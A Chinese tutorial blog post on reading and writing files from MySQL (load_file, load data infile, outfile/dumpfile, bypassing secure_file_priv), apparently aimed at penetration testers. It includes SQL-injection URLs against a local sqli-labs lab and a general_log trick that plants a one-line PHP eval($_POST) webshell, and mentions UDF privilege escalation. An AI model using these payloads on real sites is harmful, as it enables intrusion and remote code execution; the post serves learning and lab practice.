MySQL 文件读写

0x00 前言

MySQL在不同版本读写文件方法大致有这几个:

1.load_file()

2.load data infile()

3.system cat

4.outfile

5.dumpfile

load_file()和load data infile读取文件的方法为:新建一个表,将读取文件以字符串形式插入表中,然后读出表中数据。load_file()也可以直接使用select load_file('文件路径')

0x01 读文件需满足条件

1.secure_file_priv值允许对该路径下的文件进行操作

2.数据库用户(mysql的属主)对文件有读权限

3.当前数据库登录用户拥有file权限

查看方法:mysql> show grants for 用户名@localhost;
在这里插入图片描述4.知道文件的完整路径

5.文件大小小于max_allowed_packet(load_file()函数受到这个值的限制)

查看方法:mysql> show global variables like 'max_allowed%';
修改方法:mysql> set global max_allowed_packet = 5\*1024\*1024;
在这里插入图片描述

0x02 写文件需满足条件

1.secure_file_priv值允许对该路径下的文件进行操作

2.数据库用户(mysql的属主)对文件有写权限

3.当前数据库登录用户拥有file权限

4.知道文件的完整路径

一、secure_file_priv

  • 值为NULL,表示禁止文件的导入与导出

  • 值为某一目录,表示只能对该目录下的文件导入与导出

  • 值为空,表示不对文件的读写进行限制

secure_file_priv值的查询语句:

mysql>show global variables like "secure_file_priv";
mysql>show global variables like "secure%";
在这里插入图片描述
在mysql 5.6.34版本以后 secure_file_priv 的值默认为NULL,可以通过以下方式修改:

修改my.ini或my.cnf文件,在[mysqld]下添加条目secure_file_priv =
,保存后重启mysql:systemctl restart mysql.service

二、load_file()

首先在/tmp目录下创建一个文档
在这里插入图片描述
运行mysql,sql命令如下:

create table user(cmd text);
insert into user(cmd) values (load_file('/tmp/1.txt'));
select * from user;

在这里插入图片描述

select load_file('/tmp/1.txt');

在这里插入图片描述
这里不知道为什么是NULL,在其他满足条件的目录中尝试成功如下:

在/usr目录下创建一个文档
在这里插入图片描述
运行mysql,sql命令如下:

select load_file('/usr/1.txt');

在这里插入图片描述

三、load data infile

load data infile 执行权限问题

运行mysql,sql命令如下:

load data infile '/tmp/1.txt' into table user;

在这里插入图片描述
不知道为什么对于/tmp的尝试都失败了,但对于其他满足要求的目录尝试都能成功,这里不再举例。

三、load data local infile

如果指定local关键词,则表明从客户主机读文件:

  • 如果你的filename为绝对路径,则客户机从根目录开始查找该文件。
  • 如果你的filename为相对路径,则客户机从当前目录开始查找该文件。

如果没指定local,则文件必须位于服务器上:

  • 如果你的filename为绝对路径,则服务器从根目录开始查找该文件。
  • 如果你的filename为相对路径,则服务器从数据库的数据目录中开始查找该文件。

使用local需要设置local_infile开启,该变量默认为ON。

客户端设置local_infile可以在client中使用以下命令:

mysql> SET GLOBAL local_infile = true;
mysql> SHOW GLOBAL VARIABLES LIKE 'local_infile';
在这里插入图片描述
也可以修改my.ini或my.cnf文件,在[mysqld]下添加条目local_infile = 1

load data local infile '/tmp/1.txt' into table user;

在这里插入图片描述

四、system cat

在mysql版本为5.x时,除了可以使用上两种方法外,还可以使用系统命令直接读取文件。

system cat /tmp/1.txt;

在这里插入图片描述
注意:

1.此方法只能在本地读取,远程连接mysql时无法使用system。

2.无法越权读取。

五、select … into outfile/dumpfile …

select 'lyz' into outfile '/tmp/lyz.txt';
select '123' into dumfile '/usr/local/mysql/1.txt';
system cat 'usr/local/mysql/1.txt';
exit;
find / -name lyz.txt

在这里插入图片描述

0x03 secure_file_priv=NULL 的绕过

使用system执行系统命令和load data infile语句加local选项绕过限制。

  • system执行系统命令适用版本为5.x。

  • 此方法只能在本地读取,远程连接mysql时无法使用system。

  • 无法越权读取。

  • 使用load data local infile语句从客户主机读取文件。

1.查询secure_file_priv值:

在这里插入图片描述
2.system读写文件:(强调一下system执行系统命令!)
在这里插入图片描述
3.load data local infile需要将读取的文件存储在数据表中:
在这里插入图片描述

0x04 基于mysql下的几种写shell方法

一、基于联合查询法的写入方法

1.http://127.0.0.1/sqli-labs-master/Less-2/?id=1 +UNION+ALL+SELECT+1,2,’<? phpinfo(); ?>’ into outfile ‘G:/2.txt’ %23

2.http://127.0.0.1/sqli-labs-master/Less-2/?id=1 +UNION+ALL+SELECT+1,2,’<?php phpinfo() ?>’ into dumpfile ‘G:/2.txt’ %23

二、基于非联合查询法的写入方法

http://127.0.0.1/sqli-labs-master/Less-2/?id=1 into outfile ‘G:/2.txt’ fields terminated by ‘<? phpinfo(); ?>’%23

三、基于log日志的写入方法

查询当前mysql下log日志的默认地址,同时也看下log日志是否为开启状态,并且记录下原地址,方便后面恢复:

show variables like ‘%general%’;

开启日志监测:(一般是关闭的,如果一直开,文档会很大的。)

set global general_log = on;

设置我们需要写入的路径:

set global general_log_file = ‘G:/2.txt’;

查询一个一句话木马:(这时log日志里就会记录这个一句话木马。)

select ‘<?php eval($_POST[‘shiyan’]);?>’;

结束后,再修改为原来的路径:

set global general_log_file = ‘原来的路径’;

关闭日志记录:

set global general_log = off;

img

0x05 dumpfile与outfile的区别

摘自:outfile、dumpfile、load_file函数详解
我们本次的测试数据如下:
在这里插入图片描述

一、导出数据库场景下的差异

1.select …… into outfile

我们先来看一下mysql官方文档里对于这两个函数的解释。
在这里插入图片描述
在这里插入图片描述

其中有两个值得注意的坑点:
outfile函数可以导出多行数据,而dumpfile只能导出一行数据。
outfile函数在将数据写到文件里时有特殊的格式转换,而dumpfile则保持原数据格式。

接下我们来通过导出测试看看这里面的细节。

首先通过命令select * from test into outfile '/tmp/test.txt'使用outfile进行导出
在这里插入图片描述
可以看到/tmp/test.txt文件中保存了所有的数据并且在一行数据的末尾自动换行。

查看官方文档,使用如下参数可以进行格式调整:
在这里插入图片描述
其中 FIELDS ESCAPED BY 可以用来对指定的字符进行转义, FIELDS [OPTIONALLY] ENCLOSED BY 用来对字段值进行包裹,FIELDS TERMINATED BY 用来对字段值之间进行分割。

例如使用如下命令: select * from test into outfile '/tmp/test.txt FIELDS TERMINATED BY ',' OPTIONALLY ENCLOSED BY ' " 'LINES TERMINATED BY '\n'

得到的导出文件如下:
在这里插入图片描述
2.select …… into dumpfile

接着使用命令select * from test into dumpfile '/tmp/test.txt'来使用dumpfile进行导出。
在这里插入图片描述
可以看到此命令在执行的时候提示输出超过一行。

查看文件内容
在这里插入图片描述
可以看到通过dumpfile导出的数据并未进行换行且只导出了部分数据。

二、写入webshell或者udf下的差异

我们使用命令select 'a\naa\raaaa' into outfile '/tmp/test.txt'来看一下在常用的写文件场景下的结果。
在这里插入图片描述
可以看到outfile对导出内容中的\n等特殊字符进行了转义,并且在文件内容的末尾增加了一个新行。

我们接着使用命令select 'a\naa\raaaa' into dumpfile '/tmp/test.txt'来看一下。
在这里插入图片描述
可以看到dumpfile对文件内容是原样写入,未做任何转义和增加。这也就是为什么我们在平常的UDF提权中使用dumpfile进行dll文件写入的原因。

还有一个需要关注的点就是:outfile后面不能接0x开头或者char转换以后的路径,只能是单引号路径。这个问题在php注入中十分麻烦,因为会自动将单引号转义成 \’ 。然而load_file后面的路径既可以是单引号,也可以是0x、char转换的字符,但是路径中的斜杠是 / 而不是 \ 。

  • 8
    点赞
  • 31
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
MySQL主从读写分离部署是一种常见的数据库架构,它可以提高系统的性能和可用性。在这种架构中,有一个主数据库(Master)用于处理写操作,而多个从数据库(Slaves)用于处理读操作。 以下是MySQL主从读写分离部署的一般步骤: 1. 安装MySQL:在主服务器和从服务器上安装MySQL数据库软件。 2. 配置主服务器:在主服务器上进行以下配置操作: - 在my.cnf配置文件中启用二进制日志(binary log)功能,并设置一个唯一的服务器ID。 - 创建一个用于复制的账户,并授予该账户复制权限。 3. 配置从服务器:在每个从服务器上进行以下配置操作: - 在my.cnf配置文件中设置一个唯一的服务器ID。 - 配置从服务器连接到主服务器的信息,包括主服务器的IP地址、复制账户的用户名和密码。 4. 启动复制:在从服务器上启动复制进程,使其连接到主服务器并开始复制数据。 5. 验证复制:确认从服务器已经成功连接到主服务器并开始复制数据。可以通过查看主从服务器的状态信息来验证复制是否正常运行。 6. 读写分离配置:在应用程序中配置读写分离,使读操作通过从服务器处理,写操作通过主服务器处理。可以使用中间件或代理来实现读写分离,例如MySQL Proxy、MySQL Router或HAProxy。 7. 监控和维护:定期监控主从服务器的状态,确保复制正常运行。如果主服务器发生故障,可以手动将其中一个从服务器提升为新的主服务器。 需要注意的是,MySQL主从复制并不能实时同步数据,而是异步复制。因此,主从复制在高并发写入场景下可能存在一定的延迟。此外,主从复制也需要考虑数据一致性和容灾备份等问题。在部署过程中,建议参考MySQL官方文档和相关资料,并根据实际情况进行配置和调整。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值